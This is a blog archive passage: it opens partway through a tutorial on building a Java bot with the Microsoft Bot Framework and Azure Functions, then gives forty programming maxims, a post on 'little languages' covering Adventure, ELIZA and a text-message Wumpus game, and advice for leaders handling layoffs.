All of which is to say, “receive some JSON, do a thing, send back some JSON.” Wrapped up in a million annoying Futures.

The Adapter

The BotAdapter acts as ringmaster for the “do a thing” part of the request, providing helpers and context for your Bot implementation.

BotFrameworkHttpAdapter is almost sufficient to use as-is; the only reason I needed to extend it was to provide a custom Configuration object. By default, the object looks for configuration information in a properties file. This isn’t a bad assumption for Java apps, but in Azure Functions it’s way easier to keep configuration in the environment (via local.settings.json during development and the “Configuration” blade in the portal for production). EnvConfiguration in Adapter.java handles this, and then is wired up to our Adapter at line 34.

The adapter uses its configuration object to fetch the information used in service-to-service authentication. When we register our Bot with the Bot Service, we get an application id and secret. The incoming authentication header (#2 above) is compared to the “MicrosoftAppId” and “MicrosoftAppSecret” values in the configuration to ensure the connection is legitimate.

Actually, EnvConfiguration is more complicated than would normally be required, because I wanted to host two distinct bots within the same Function App (WumpusBot and RadioBot). This requires a way to keep multiple AppId and AppSecret values around, but we only have one System.env() to work with. The “configSuffix” noise in my class takes care of that segmentation.

There are a few other “providers” you can attach to your adapter if needed. The most common of these is the “AuthenticationProvider” that helps manage user-level OAuth, for example if you want your bot to access a user’s personal calendar or send email on their behalf. I didn’t have any need for this, so left the defaults alone.

Once you get all this wired up, you can pretty much ignore it.

The Bot

Here’s where the fun stuff starts. The Adapter sets up a TurnContext object and passes it to the onTurn method of your Bot implementation. The default onTurn handler is really just a big switch on the ActivityType (MESSAGE, TYPING, CONVERSATION_UPDATE, etc.) that farms out calls to type-specific handlers. Your bot can override any of these to receive notifications on various events.

The onMessageActivity method is called whenever your bot receives a (duh) message. For simple text interactions, simply call turnContext.getActivity().getText() to read the incoming text, and turnContext.sendActivity(MessageFactory.text(responseString)) to send back a response.

The Bot Framework has tried to standardize on markdown formatting for text messages, but support is spotty. For example Teams and WebChat work well, but Skype and SMS just display messages as raw text. Get used to running into this a lot — normalization across channels is pretty hit or miss, so for anything complex you can expect to be writing channel-specific code. This goes for conversation semantics as well. For example from my experience so far, the onMembersAdded activity:

  • Is called in Teams right away when the bot enters a channel or a new member joins;
  • Is called in WebChat only after the bot receives an initial message from the user; and
  • Is never called for Twilio SMS conversations at all.

Managing State

Quirks aside, for a stateless bot, that’s really about all there is to it. But not all bots are stateless — some of the most useful functionality emerges from a conversation that develops over time (even ELIZA needed a little bit of memory!) To accomplish that you’ll use the significantly over-engineered “BotState” mechanism you see in use at WumpusBot.java line 57. There are three types of state:

All of these are the same except for the implementation of getStorageKey, which grovels around in the turnContext to construct an appropriate key to identify the desired scope.

The state object delegates actual storage to an implementation of a CRUD interface. The framework implements two versions, one in-memory and one using Cosmos DB. The memory one is another example of why quickstarts are awful — it’s easy, but is basically never appropriate for the real world. It’s just a shortcut to make the framework look simpler than it really is.

The Cosmos DB implementation is fine except that it authenticates using a key. I wanted to use the same Managed Identity I used elsewhere in this app already, so I implemented my own in Storage.java. I cheated a little by ignoring “ETag” support to manage versioning conflicts, but I just couldn’t make myself believe that this was going to be a problem. (Fun fact: Cosmos lets you create items with illegal id values, but then you can’t ever read or delete them without some serious hackage. That’s why safeKey exists.)

Last and very important if you’re implementing your own Storage — notice the call to enableDefaultTyping on the Jackson ObjectMapper. Without this setting, the ObjectMapper serializes to JSON without type information. This is often OK because you’re either providing the type directly or the OM can infer reasonably. But the framework’s state map is polymorphic (it holds Objects), so these mechanisms can’t do the job. Default typing stores type info in the JSON so you get back what you started with.

Once you have picked your scope and set up Storage, you can relatively easily fetch and store state objects (in my situation a WumpusState) with this pattern:

  1. Allocate a BotState object in your Bot singleton (line 39).
  2. Call getProperty in your activity handler to set up a named property (line 57).  
  3. Fetch the state using the returned StatePropertyAccessor and (ugh) wait on the Future (lines 58-60). Notice the constructor here which is used to initialize the object on first access.  
  4. Use the object normally.
  5. Push changes back to storage before exiting your handler (line 68). Change tracking is implicit, so be sure to update state in the specific object instance you got in step #3. This is why Wumpus.newGame() never reallocates a WumpusState once it’s attached.

Testing your Bot Locally

Once you have your Function App running and responding to incoming messages, you can test it out locally using the Bot Framework Emulator. The Emulator is a GUI that can run under Windows, Mac or Linux (in X). You provide your bot’s endpoint URL (e.g., http://localhost:7071/wumpus for the WumpusBot running locally with mvn azure-functions:run) and the app establishes a conversation that includes a bunch of nifty debugging information.

Connecting to the Bot Service

The emulator is nice because you can manage things completely locally. Testing with the real Bot Service gets a little more complicated, because it needs to access an Internet-accessible endpoint.

All of the docs and tutorials have you do this by running yet another random tool. ngrok is admittedly kind of cute — it basically just forwards a port from your local machine to a random url like https://92832de0.ngrok.io. The fact that it can serve up HTTPS is a nice bonus. So if you’re down for that, by all means go for it. But I was able to do most of my testing with the emulator, so by the time I wanted to see it live, I really just wanted to see it live. Deploying the function to Azure is easy and relatively quick, so I just did that and ended up with my real bot URL: https://shutdownradio.azurewebsites.net/wumpus.

The first step is to create the Bot in Azure. Search the portal for “Azure Bot” (it shows up in the Marketplace section). Give your bot a unique handle (I used “wumpus”) and pick your desired subscription and resource group (fair warning — most of all this can be covered under your free subscription plan, but you might want to poke around to be sure you know what you’re getting into). Java bots can only be “Multi Tenant” so choose that option and let the system create a new App ID.

Once creation is complete, paste your bot URL into the “Messaging Endpoint” box. Next copy  down the “Microsoft App Id” value and click “Manage” and then “Certificates & secrets.” Allocate a new client secret since you can’t see the value of the one they created for you (doh). Back in the “Configuration” section of your Function app, add these values (remember my comment about “configSuffix” at the beginning of all this):

  • MicrosoftAppId_wumpus (your app id)
  • MicrosoftAppSecret_wumpus (your app secret)
  • MicrosoftAppType_wumpus (“MultiTenant” with no space)

If you want to run RadioBot as well, repeat all of this for a new bot using the endpoint /bot and without the “_wumpus” suffixes in the configuration values.

Congratulations, you now have a bot! In the Azure portal, you can choose “Test in Web Chat” to give it a spin. It’s pretty easy to embed this chat experience into your web site as well (instructions here).

You can use the “Channels” tab to wire up your bot to additional services. I hooked Wumpus up to Twilio SMS using the instructions here. In brief:

  • Sign up for Twilio and get an SMS number.
  • Create a “TwiML” application on their portal and link it to the Bot Framework using the endpoint https://sms.botframework.com/api/sms.
  • Choose the Twilio channel in the Azure portal and paste in your TwiML application credentials.

That’s it! Just text “play” to 706-943-3865 and you’re off to the races.

Bots in Microsoft Teams

Connecting to Teams is conceptually similar to SMS, just a lot more fiddly.

First, enable the Microsoft Teams channel in your Bot Service configuration. This is pretty much just a checkbox and confirmation that this is a Commercial, not Government, bot.

Next, bop over to the Teams admin site at https://admin.teams.microsoft.com/ (if you’re not an admin you may need a hand here). Under “Teams Apps” / “Setup Policies” / “Global”, make sure that the “Upload custom apps” slider is enabled. Note if you want to be more surgical about this, you can instead add a new policy with this option just for developers and assign it to them under “Manage Users.”

Finally, head over to https://dev.teams.microsoft.com/apps and create a new custom app. There are a lot of options here, but only a few are required:

  • Under “Basic Information”, add values for the website, privacy policy and terms of use. Any URL is fine for now, but they can’t be empty, or you’ll get mysterious errors later.
  • Under “App Features”, add a “Bot.” Paste your bot’s “Microsoft App Id” (the same one you used during the function app configuration) into the “Enter a Bot ID” box. Also check whichever of the “scope” checkboxes are interesting to you (I just checked them all).

Save all this and you’re ready to give it a try. If you want a super-quick dopamine hit, just click the “Preview in Teams” button. If you want to be more official about it, choose “Publish” / “Publish to org” and then ask your Teams Admin to approve the application for use. If you’re feeling really brave, you can go all-in and publish your bot to the Teams Store for anyone to use, but that’s beyond my pay grade here. Whichever way you choose to publish, once the app is in place you can start a new chat with your bot by name, or add them to a channel by typing @ and selecting “Get Bots” in the resulting popup. Pretty cool!

A caveat about using bots in channels: your bot will only receive messages in which they are @mentioned, which can be slightly annoying but net net probably makes sense. Unfortunately though, it is probably going to mess up your message parsing, because the mention is included in the message text (e.g., “<at>botname</at> real message.”). I’ve coded RadioBot to handle this by stripping out anything between “at” markers at line 454. Just another way in which you really do need to know what channel you’re dealing with.

Teams in particular has a whole bunch of other capabilities and restrictions beyond what you’ll find in the vanilla Bot Framework. It’s worth reading through their documentation and in particular being aware of the Teams-specific stuff you’ll find in TeamsChannelData.

We made it!

Well that was a lot; kind of an anti-quickstart. But if you’ve gotten this far, you have a solid understanding of how the Bot Framework works and how the pieces fit together, start to finish. There is a bunch more we could dig into (for instance check out the Adaptive Card interfaces in RadioBot here and here) — but we don’t need to, because you’ll be able to figure it out for yourself. Teach a person to fish or whatever, I guess.

Anyhoo, if you do anything cool with this stuff, I’d sure love to hear about it, and happy to answer questions if you get stuck as well. Beyond that, I hope you’ll enjoy some good conversations with our future robot overlords, and I’ll look forward to checking in with another post soon!

Forty for Forty

I really was born at exactly the right time to ride the golden age of computing. When I was in high school and college, computers were powerful enough to impact every corner of our world, but simple enough that actual humans could still develop a connection to the metal. I surfed those years straight into the cradle of 1990s computing — classic Macintoshes, Windows 3.0 and 95, the early Internet, Linux; so much great stuff and the perfect setup for twenty years trying to solve big problems in healthcare.

And so many incredible people, most of them way smarter than me. I do a fair bit of mentoring these days, and honestly 99% of is just sharing stuff others have taught me. I’m completely serious; my problem-solving toolbox basically boils down to imagining what somebody smart I’ve known would do. And it works great!

So I thought I’d share a few particularly valuable gems here — forty lessons for the (a few more than) forty years I’ve been in the game. I present each with minimal context — not quite bumper stickers but sometimes close. Attributions are real initials; feel free to make your guesses!

  1. It’s never the operating system. (DO)
  2. You can understand any system if you start with main. (BA)
  3. Design the object model first. (UM)
  4. Good code is fun to read. (JB)
  5. Don’t spawn that thread. (CC)
  6. When you’re stuck, just look again — eventually you’ll see it. (DS)
  7. If you’re fixing the most bugs, you probably wrote the most bugs. (BS)
  8. The worst case probably isn’t that bad. (BB)
  9. Comments lie. (DS)
  10. People don’t think asynchronously. (SN)
  11. Take your annual review seriously for one hour and then stop. (PK)
  12. Aircraft carriers turn slowly, but sometimes you need one. (PN)
  13. Meetings are a waste of time. (EJ)
  14. Perception is reality. (TL)
  15. You might actually be the smartest person in the room. (KC)
  16. Code Talks. (PK)
  17. Implement a memory manager once before you die. (JL)
  18. Walkthroughs are better testing than testing. (UM)
  19. Obvious to you isn’t obvious to everyone (so speak up). (PN)
  20. Don’t be clever. (JB)
  21. Never override a no-hire. (AC)
  22. If you don’t understand the details then you don’t understand. (BG)
  23. Have a single source of truth. (SN)
  24. There’s always one more bug. (RH)
  25. If you want to be a manager, you probably shouldn’t be one. (PK)
  26. Most problems can be solved with Excel. (GE)
  27. No secret lists. (LW)
  28. Honest != a$$hole. (KC)
  29. Adding more developers won’t help. (FB)
  30. Don’t lower your bet. (DN)
  31. How hard can it be? (JL)
  32. Outsourcing costs more than it saves. (SN)
  33. SQL is smarter than you think. (BD)
  34. Write it twice. (UM)
  35. Data wins debates. (TC)
  36. After a win, always take something off the table. (RN)
  37. Make it hard to do the wrong thing. (IA)
  38. Leaky abstraction is worse than no abstraction. (UM)
  39. It has to work first. (DK)
  40. Take the win, Sean. (AM)

You are in a maze of twisty little languages, all alike.

It seems like everywhere I go these days I’m talking to a bot. Now don’t get me wrong, I’m all for technology that keeps me from having to interact with actual humans. And truth be told, they’re getting pretty good — talking to Alexa has just become something I do without thinking about it. But it super-annoys me when I visit some random website and their chatbot pops up in my face pretending to be a real person (I’m looking at you, oreilly.com).

I think it’s good for us to know when we’re talking to a computer and when we’re not. And that’s not only some squishy ethical thing — it just works better. I have different expectations talking to a bot than I do to a human, and I’m more than happy to adjust my speaking pattern to increase the chances of success. For example, I know that “shuffle” and “album” are Alexa keywords for music, so I ask her to “shuffle album Cake and Pie” (which works) rather than “please play Cake and Pie in random order” (sad Alexa noise).

And you know what? This is fine! Speech recognition aside (amazing stuff there), we use specialized and restricted dialects for specialized purposes all the time, even between humans. Curlers yell “clean” or “hurry” and the sweepers immediately know what they mean. I tell the guy at the lumber yard that I put “16 feet of 2×12 treated” into my car and he knows what to charge me. This kind of jargon removes ambiguity from communication, and that’s a big plus when you’re trying to get something done together.

So what’s my point? There’s an interesting dichotomy here, because the hype around chatbots is all about artificial intelligence, but the reality is that it’s much more about the creation of purpose-built “little languages.” Those are way more interesting to me, so that’s what I’m going to dig into today.

Little Languages

Jon Bently wrote an incredible pair of books in Programming Pearls and More Programming Pearls. Both are essential reading for anyone who cares about software, even though some (not all!) of the specific technology is showing its age. They’re entertaining too, thanks to the way he weaves together anecdotes and concrete code. What I’m saying here is, buy the books.

Anyways, I first encountered “little languages” in More Programming Pearls, but you can read the original article about them online here. Bentley was part of the UNIX crowd at Bell Labs and loved (as all good programmers do) the idea of pipelines — how programs can work together to do increasingly complex things (really just top-down-design in different clothes, but since pretty much all problems converge back to TDD that’s cool by me). In the article, he demonstrates the concept using picture generators that used to be (maybe still are?) commonly used for technical papers. For example, the chem language allows folks to concisely describe and depict chemical structures. Here’s LSD:

.cstart
B:  benzene pointing right
F:  flatring5 pointing left put N at 5 double 3,4 with .V1 at B.V2
    H below F.N
R:  ring pointing right with .V4 at B.V6
    front bond right from R.V6 ; H
R:  ring pointing right with .V2 at R.V6 put N at 1 double 3,4
    bond right from R.N ; CH3
    back bond -60 from R.V5 ; H
    bond up from R.V5 ; CO
    bond right ; N(C2H5)2
.cend

You can run this yourself on most Linux systems; if it’s not there already, use your package manager to install groff (groff is the GNU version of the typesetting app troff). Save the code above as lsd.chem and use the command:

cat lsd.chem | chem | pic | groff -Tpdf > lsd.pdf

This has always stuck with me because it’s such a beautiful specialized-to-generic pipeline:

  • chem lets you easily specify chemical structures, generating input for
  • pic, which creates any kind of picture, generating input for
  • groff, which formats any kind of document for presentation.

Adventure

Bentley’s little languages are primarily static, used as input to an interpreter. But the concept applies equally well to conversations, and we’ve been having conversations with computers for a long time. Exhibit A is Colossal Cave Adventure, the granddaddy of “interactive fiction.” If you had access to a computer in the seventies or eighties there’s a 100% chance you played it or one of its descendants like Zork or the early Roberta Williams titles. Interactive fiction today generally uses point-and-click, but you can very much still feel the connection to their early, text-based ancestors.

In Adventure, the computer acts as a dungeon master, describing your location and acting on your instructions (“go north”, “take lamp”, “fight dragon,” and so on). Your goal is to explore a network of underground caves (based on the real Mammoth Cave), accumulating gold and treasure along the way. You can give it a try yourself in the browser — I recommend keeping track of where you are by building up a map on paper along the way.

There are a million versions of the game. The one I first played was written by Don Woods as a modification of the original by Will Crowther. The FORTRAN code for the original Crowther version is on github (of course it is). The “little language” implemented there is shockingly expressive given its tiny vocabulary of 192 words.

  • In the GETIN subroutine, an input line is broken into one or two words: a VERB and an optional OBJECT. Each is truncated to five characters for processing, but extra characters are retained for display purposes.
  • Starting at label 2020, the words are matched to entries in the 192-word vocabulary table which are implicitly associated with classes (motion/action/special for verbs, normal/treasure for objects) based on their assigned number.
  • The verb is then dispatched to the correct handler. Most action verbs are handled using special-case logic, but motion verbs run through a state machine defined in the motion table. If you think about the cave as a graph, each row in the motion table is an edge that describes the verbs and game state required to move the player from the location in the first column to the location in the second.

Of course there’s a lot more to it than that. If you want to really dig into the code, there is a well-commented copy of the Woods version at the Interactive Fiction Archive, downloadable as a zipped tarball. You’ll still have to brush up on your FORTRAN to really get it, but who doesn’t love a good DO/CONTINUE loop packed with GOTO statements?

If you’ve played the game, it’s impossible not to be impressed with how immersive it is. With nothing more than VERB/OBJECT pairs, you can explore a world, solve puzzles, and even kill a dragon (with what? your bare hands?). I hope you get so sucked into the cave that you don’t come back to this post for a month.

Late breaking news: turns out this post is pretty timely, because Ken and Roberta Williams just announced that they are rebooting Colossal Cave for a new generation of folks … WOOT!

ELIZA the DOCTOR

Rogerian psychology is serious stuff. In (very) short, the goal is help patients understand themselves through a self-driven, internal dialogue. The therapist is there to provide safety and empathy, and to reflect back the observations and themes they are hearing. It has helped millions of people. But it’s also the easy butt of jokes, because on the surface it seems that the therapist isn’t really doing anything:

  • How many Rogerian therapists does it take to change a lightbulb?
  • I hear you wanting to know how many Rogerian therapists it takes to change a lightbulb.

Way back in 1965, Joseph Weizenbaum created ELIZA and DOCTOR, an engine and script respectively that do a remarkably good job of emulating a conversation with that satirized therapist. If you’ve never heard of ELIZA, you definitely should click on over to this site and say hello to her; she’s actually pretty impressive, especially when you consider that there is absolutely zero contextual “understanding” under the covers.

ELIZA’s little language is quite different from Adventure’s. Her goal is to transform input into responses that will seem relevant and appropriate to a human observer, especially one primed to expect a Rogerian conversation. The original source is available, but it’s written in MAD-SLIP and that one is even too arcane for me. Instead I’ll refer to Weizenbaum’s original paper in the ACM which is pretty great and totally worth reading.

The language is primarily defined by rules for recognizing input patterns and transforming them into responses. For example, suppose we receive the input “why do you hate me” and want to respond with “Why do you think I hate you.”

  1. The decomposition rule (0 you 0 me) is matched against the input. It’s basically a proto-regex. The number 0 means “match any 0 or more words,” while the alphabetic strings must match exactly. If the pattern matches, each section of the rule is “assigned” text from the input. In this case it would match as ((why do) (you) (hate) (me)).
  2. An associated recomposition rule (why do you think I 3 you) is used as a template to generate the response. Numbers are replaced with the Nth input grouping generated during decomposition (3 = “hate” in this example) to create the desired response: why do you think I hate you?

Note that even this simple pair of rules provides significant flexibility in our ability to respond to arbitrary input:

  • Why do you hate me / Why do you think I hate you
  • It seems that you no longer care about me / Why do you think I no longer care about you
  • You love me / Why do you think I love you
  • Apparently you are bananas for me / Why do you think I are bananas for you

Whoops! That last one uncovered a flaw in our engine — the second person singular “are” should have been transformed into the first person singular “am.” ELIZA uses additional rules called transforms to fix this up. There are also a bunch of other interesting details that make her respond in a mostly-believable way; a few examples:

  • Decomposition rules can have multiple possible recomposition rules; ELIZA selects from the list randomly but with minimal repetition.
  • Decomposition rules are associated with keywords that have a ranked order. In this way, more specific or interesting responses can be preferred over simpler ones. (This keyword-to-rule association was created primarily as a performance benefit to account for the limited processing power of the day, but the ranking is a nice side benefit.)
  • Fallback rules keep the conversation moving when no decomposition rules match successfully.
  • A “memory” feature keeps a short stack of important phrases used in the conversation that can be inserted to enhance a sense of continuity.

The actual syntax used to express the language is pretty hairy — basically a nest of parenthesized lists, just as you’d expect from a LISP variant. Here’s a short snip from DOCTOR that I’ve indented to be a tiny bit more readable; the full script is included at the end of the paper:

(CANT = CAN'T)
(WONT = WON'T)
(REMEMBER 5 
	((0 YOU REMEMBER 0) 
		(DO YOU OFTEN THINK OF 4)
		(DOES THINKING OF 4 BRING ANYTHING ELSE TO MIND)
		(WHAT ELSE OO YOU REMEMBER)
		(WHY DO YOU REMEMBER 4 JUST NOW)
		(WHAT IN THE PRESENT SITUATION REMINDS YOU OF 4)
		(WHAT IS THE CONNECTION BETWEEN ME AND 4))

It turns out that Charles Hayden reimplemented Eliza in Java and dramatically improved the little language. But aesthetics aside, just like Adventure, the ELIZA script language packs a great deal of smarts using a quite restricted syntax. Truth be told, I’d definitely choose to talk to her than to most of the marketing bots that get up in my face on the web every day.

Today’s Conversation Models

Modern little languages certainly look fancier than these early examples. If you’ve been reading this blog for awhile, you may recall my experience writing an Alexa “skill” to manage stuff in my house. I won’t repeat all the details here, but in short an Alexa “Interaction Model” include the following elements:

  • Intents: things that the user wants to do (e.g. turn on a particular configuration of lights).
  • Utterances: one or more template phrases that capture an intent (e.g., “turn family room lights on”).
  • Slots: placeholders in an utterance that capture meaningful parameters in the user’s request (e.g., “turn ROOM_SLOT ACTION_SLOT”).

Azure provides basically the same functionality in its Conversational Language Understanding suite (this is a new version of what used to be LUIS; it’s hard to keep up).

Feeling a little Deja Vu? Intents are basically ELIZA keywords. Utterances are decomposition rules. Slots are the numeric placeholders used in recomposition. It’s actually kind of startling just how similar they are. Of course there’s a ton of advanced processing now that notably improves the matching process — it would be wrong to minimize the advances there. But let’s give the old guys some credit, hey?

Hunt the Wumpus (by Text!)

When I started writing this article, the plan was to dig go pretty deep into the details of implementing a “bot” using the Microsoft Bot Framework. But as I look up from the keyboard, I’m two thousand words in already and haven’t even started that … so maybe better to save it for next time. But I’d hate to leave you without at least a little something concrete, so let’s at least introduce the WumpusBot and give it a spin.

Hunt the Wumpus is actually the very first computer game I ever played, over a printing teletype connected from my elementary school to a central PDP-11 somewhere. The goal is to explore a series of connected rooms, trying to shoot the “Wumpus” before he eats you or you fall into a bottomless pit. Along the way, bats may pick you up and move you randomly to another room. In the original game, you had magic “crooked arrows” that could travel between many rooms, but I chose to implement the simpler version described here where you can just shoot into any adjacent room.

Anyways, take out your trusty smartphone and text “play” to 706-943-3865 to give it a try for real. WumpusBot will reply with some instructions to get you started — its language is little indeed, pretty much just “move” and “shoot.”

The game logic is in Wumpus.java, and the bot innards are all in this directory. The cool thing about the Bot Framework is that it can multiplex your logic across a ton of “channels” — web chat, SMS, Teams, Slack, Facebook, and a bunch more. WumpusBot consists of:

Anyways, for now just enjoy the game — we’ll get into the details and the usual Microsoft devex bashing next time. Pro tip: whenever you feel a draft or smell something rotten, just backtrack and approach from a different room … unless a bat does you wrong, you’ll get him every time.

Layoffs Suck… for Everyone

My first experience with layoffs came during the dot-com bust in early 2001. I’d helped to build a company called drugstore.com during the boom period — we had a remarkable team full of insanely great people. The mission in those early days was simple: (1) get big fast to establish merchandizing power; (2) use technology to create a barrier to entry for traditional players. Money was easy, and we went all-in on both fronts. My contributions were mostly technical — and we did a ton. The first persistent shopping cart, wishlists and auto-replenishment, promotions and affiliates, live order and inventory status, pill robots — stuff that seems routine now. But back then there was just our team, the VC++ compiler and rack upon rack of 1U servers down in Renton. Some great times.

Hindsight is easy, but I still maintain with a straight face that if the money had lasted just a couple of more years we would have made it over the hump. Of course I think we were “special,” but who knows. Anyways, that clearly did not happen and pretty much overnight we were looking at a misaligned company with limited cash, limited revenue and enormous operating costs. That meant layoffs — and it was the f*cking worst. For everyone.

This week those memories came back to the surface, as another company I’m close to had to let a lot of good folks go. It bummed me out, and I fear that more companies will land in the same boat as we wrestle with the unsustainable state of today’s economy. Times like this are when leaders either shine or falter — I’ve done a little of both — but quite reasonably people are often hesitant to talk about their experiences. So let’s try to fill that gap — without further delay, some hard-won thoughts for leaders trying to make layoffs suck just a little bit less.

First and foremost: if you are a human, this is going to be really awful for you — hard decisions, hard conversations, personal grief and guilt, buckle up. I’m here for empathy and understanding. Beyond that: SUCK IT UP. No matter how bad it is for you, it’s a thousand times worse for the people going home to tell their families that they’ve lost their jobs. Your role is to be as transparent, honest, supportive and understanding as you can be, and to help everyone move on with the respect and dignity they deserve. Of course you’ll be sad — but remember, this is not about you, it’s about the people whose lives you are impacting.

1. Avoid the problem

You never have to lay off a person you didn’t hire in the first place.

Drugstore notwithstanding, I am not a fan of getting big fast, especially when it comes to FTEs. There is always pressure to do more, and it’s incredibly tempting to respond to that by asking for more headcount, which can come free and easy when the coffers are full of Series X funding. Beyond the fact that this rarely works in software anyways, it is likely to leave you people-heavy when money gets tight. And people are expensive — way more than you think. In my experience the “fully loaded” cost of an employee (including benefits, insurance, equipment and facilities, etc.) is around 2.5 times their salary and bonus alone. For better or worse, there is almost nothing you can do to reduce a budget faster than trim people.

So don’t add them until you know they have a long-term, structural purpose at the company. I also hate hiring contractors, but if you have a short-term burst of extra work, that can be a far better option. (If you can, contract on a project basis rather than as staff augmentation — it makes performance far easier to evaluate and gives you obvious go/no-go milestones.)

Your CEO is going to hate this advice. Hiring people feels good, and makes execs feel like their business is growing (pro tip: measure revenue instead). You may also have mentors that tell you to grab budget “when you can” — this may be good ladder-climbing advice, but it is irresponsible business management.

2. Try other stuff first

When you’re sitting face-to-face with somebody you’re letting go, you’re almost certainly going to tell them that it was a last resort — so make sure that’s true.

People costs do tend to dominate budgets, but there are other levers. Reduce travel and face-to-face meetings. Get rid of the fancy coffee makers. Delay a project for a quarter. Reduce benefits in a way that spreads a little pain across the whole company, maybe a year without bonuses or higher insurance copays. Be careful with these, because giving up a bonus is a lot easier for somebody making $250K than somebody making $25K.

But look at everything, because you probably also told folks that you were “like a family,” and a family works really hard to make ends meet before they sell a kid to the circus. So put in the work. Even if it isn’t enough in the end, people will see and appreciate that you honestly tried.

3. Day Of

First, understand that there is no “good” way to run a large-scale layoff — it doesn’t exist. There are already rumors floating around, even if you think there aren’t. While it’s ideal for everyone to be notified at the same time, it’s even more important that individuals learn their situation 1:1 and not through a mass email (or tweet). Reactions will vary: some folks will take the news well; most will be upset and a little embarrassed; a few may become angry and even belligerent. The best you can hope for is to get through the day maximizing for timely, straightforward personal notifications and efficient, minimally-awkward exits. Here’s what I’ve seen work best:

  1. BEFORE the day arrives, be sure you’re prepared:
    1. Have your severance package locked and described clearly in a printed document you can hand to affected employees. If you can continue healthcare coverage for a few months, that seems to have the biggest positive impact.
    1. Assemble a comprehensive Q&A document. As a leadership group, try to imagine every question you will be asked and have a ready answer. Read this Q&A a bunch! You do not want to be improvising in the moment.
    1. Make sure your IT department is looped in and is ready to manage accounts and access.
  2. ONE DAY BEFORE, schedule meetings.
    1. First, set up individual meetings with each affected employee, in a private conference room. Each employee should hear the news from their manager (or a level up if there is a relationship there). If your company has the resources, there should be an HR person in the room. Start these early and pack them together as closely as possible. 20 minutes is a good amount of time.
    1. Take particular care if there are affected folks on vacation or leave. It may be impossible to contact them in a timely way; just do your best.
    1. Schedule an “all-hands” meeting in the early afternoon or as soon as you’re able to finish individual meetings. This invite should be sent to the whole company, not just the remaining team.
  3. THE MORNING OF, try to manage individual meetings as best you can:
    1. Begin with the manager explaining that the company is having a layoff and their job is going away. It’s worth stressing this: it’s the job, not the person. Words do make a difference.
    1. Thank the person for the work and energy they have contributed to your shared mission. Reinforce that this is about streamlining costs and is unrelated to their job performance.
    1. Reiterate that the change is effective immediately. Describe the severance topline — just enough so that they know they have some economic support. Give them their physical package, and tell them to read through it carefully at home. You probably want them to sign an acknowledgement of receipt (not agreement). It is often better for HR to give this part of the message if that’s an option.
    1. Answer questions but really really try to stick to the Q&A. Don’t let it go too long or become a circular conversation.
    1. During the meeting, IT should freeze the employee’s email, access keys, VPN access and any other corporate accounts. This is terrible, but important — a single employee with a kneejerk reaction can do great damage not just to the company but to themselves as well. Much better to just remove the risk.
    1. Tell the employee to go home (unless they’re remote anyways), absorb their severance package, and to contact HR if they have any questions. This is also tricky — have somebody walk with them to pick up car keys and other items from their desk before leaving. They should not stay in the office, even just to “let people know.” If they grab a plant or two that they can carry, that’s fine. But do not have them “clean out” their office at this time … make a plan to box up things for pickup later, or schedule after-hours times for people to come back. This is not about risk the same way that IT access is — it is simply better to create some separation immediately so everyone can process in their own way.
  4. THE AFTERNOON OF, talk to remaining employees at the all-hands meeting.
    1. It’s OK to be sad … how could you not be? Share that with the team; let everyone be sad together. But don’t wallow and don’t make it about yourself.
    1. Take responsibility for the decision. Explain how you got here, and why you believe this is the best course of action. External factors are real, but if the company was over-leveraged because of mistakes, own that too. Explain not what you would do in hindsight, but how you’re going to do better going forward.
    1. Tell them the three-month plan. Remember, right now everyone now thinks that this was just the first layoff with more to come — why should they stay engaged?
    1. Take Q&A, but keep it limited and do not improvise. Use the same materials you prepped for individual meetings.
    1. Keep it short. Tell everyone to go home for the day and decompress — tomorrow we dig in and start again.
  5. THE EVENING OF, try to close this chapter so you can move on.
    1. Send a company-wide email re-stating what you said in the all-hands meeting. Remind folks it’s great to reach out to their ex-colleagues, professionally to help with their job search and personally because they are real humans that we still love.
    1. Breathe. Give your family a hug. Call your mom. Have a beer or a tea or a whiskey and go to bed. You’ve done your best.

4. The Next Day and Moving Forward

Your most important job today, and for the next few days, is to show up.

Yesterday people needed a little time to themselves; today they need to see that your company is alive and vibrant and making magic. That doesn’t mean ignoring what happened or pretending your ex-colleagues don’t exist. On the contrary, it’ll be the number one topic of conversation, and you should be prepared for a steady stream of folks looking to you for understanding and a reason to believe. But most importantly, you and other company leaders just need to be there. This is a very easy time to disappear and avoid the tough conversations — don’t let that happen.

Shoulders back, head up, let’s go.

Tactically, there is now (by definition) more work to do than people to do it. Make sure you account for this as you reallocate projects and responsibilities. If you can cancel or postpone things (you can), do that so people know that you understand that this is tough for them too. If there is work that you personally can pick up, do it. This is one of those crisis times when teams either bond together or fall apart, so do whatever you can to nudge things the right way.

I guess that’s about it. Surprisingly emotional to even write about — but hopefully a useful roadmap, and a reminder that this stuff isn’t a game. It’s lives, careers, dignity and responsibility — what you do and how you handle it matters. Step up!